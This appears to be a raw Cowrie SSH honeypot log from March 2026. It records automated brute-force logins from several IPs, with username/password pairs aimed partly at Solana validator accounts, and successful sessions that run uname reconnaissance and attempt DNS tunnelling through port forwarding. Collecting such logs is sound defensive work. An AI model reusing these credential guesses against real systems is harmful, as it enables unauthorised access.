{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:25.218625Z","src_ip":"37.77.150.119","session":"d858050d8e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:25.354297Z","src_ip":"37.77.150.119","session":"d858050d8e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46942,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e7e9255ac4","protocol":"ssh","message":"New connection: 2.57.122.210:46942 (159.203.135.109:22) [session: 84e7e9255ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:47.684824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:47.689554Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:47.793879Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:48.107858Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:48.353292Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:48.356748Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:48.464107Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:48.469159Z","src_ip":"2.57.122.210","session":"84e7e9255ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40090,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d1a69fe2e56","protocol":"ssh","message":"New connection: 193.32.162.145:40090 (10.17.0.5:22) [session: 2d1a69fe2e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:55.671358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:55.675905Z","src_ip":"193.32.162.145","session":"2d1a69fe2e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:55.780078Z","src_ip":"193.32.162.145","session":"2d1a69fe2e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:56.092963Z","src_ip":"193.32.162.145","session":"2d1a69fe2e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:49:57.201172Z","src_ip":"193.32.162.145","session":"2d1a69fe2e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49078,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63c94117bc1","protocol":"ssh","message":"New connection: 195.178.110.218:49078 (10.17.0.5:22) [session: e63c94117bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:35.294054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:35.298787Z","src_ip":"195.178.110.218","session":"e63c94117bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:35.377922Z","src_ip":"195.178.110.218","session":"e63c94117bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:35.616771Z","src_ip":"195.178.110.218","session":"e63c94117bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:36.697658Z","src_ip":"195.178.110.218","session":"e63c94117bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":40238,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dfc72ce5fd4","protocol":"ssh","message":"New connection: 37.77.150.119:40238 (10.17.0.5:22) [session: 6dfc72ce5fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:47.645535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:47.650461Z","src_ip":"37.77.150.119","session":"6dfc72ce5fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:47.790178Z","src_ip":"37.77.150.119","session":"6dfc72ce5fd4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:48.211326Z","src_ip":"37.77.150.119","session":"6dfc72ce5fd4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:48.353477Z","session":"6dfc72ce5fd4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:48.495405Z","src_ip":"37.77.150.119","session":"6dfc72ce5fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:51:48.637315Z","src_ip":"37.77.150.119","session":"6dfc72ce5fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49504,"dst_ip":"159.203.135.109","dst_port":22,"session":"3357582ae498","protocol":"ssh","message":"New connection: 2.57.122.210:49504 (159.203.135.109:22) [session: 3357582ae498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:04.104838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:04.109638Z","src_ip":"2.57.122.210","session":"3357582ae498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:04.249574Z","src_ip":"2.57.122.210","session":"3357582ae498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:04.570342Z","src_ip":"2.57.122.210","session":"3357582ae498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:05.718600Z","src_ip":"2.57.122.210","session":"3357582ae498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53948,"dst_ip":"10.17.0.5","dst_port":22,"session":"5da05b47f0f9","protocol":"ssh","message":"New connection: 193.32.162.145:53948 (10.17.0.5:22) [session: 5da05b47f0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:11.872905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:11.876468Z","src_ip":"193.32.162.145","session":"5da05b47f0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:11.981009Z","src_ip":"193.32.162.145","session":"5da05b47f0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:12.296454Z","src_ip":"193.32.162.145","session":"5da05b47f0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:52:13.412828Z","src_ip":"193.32.162.145","session":"5da05b47f0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":33907,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ffa01c3afb","protocol":"ssh","message":"New connection: 37.77.150.119:33907 (10.17.0.5:22) [session: e3ffa01c3afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:11.650175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:11.654499Z","src_ip":"37.77.150.119","session":"e3ffa01c3afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:11.800985Z","src_ip":"37.77.150.119","session":"e3ffa01c3afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46376,"dst_ip":"10.17.0.5","dst_port":22,"session":"1937873a9a7a","protocol":"ssh","message":"New connection: 195.178.110.218:46376 (10.17.0.5:22) [session: 1937873a9a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.091770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.096092Z","src_ip":"195.178.110.218","session":"1937873a9a7a","protocol":"ssh"}
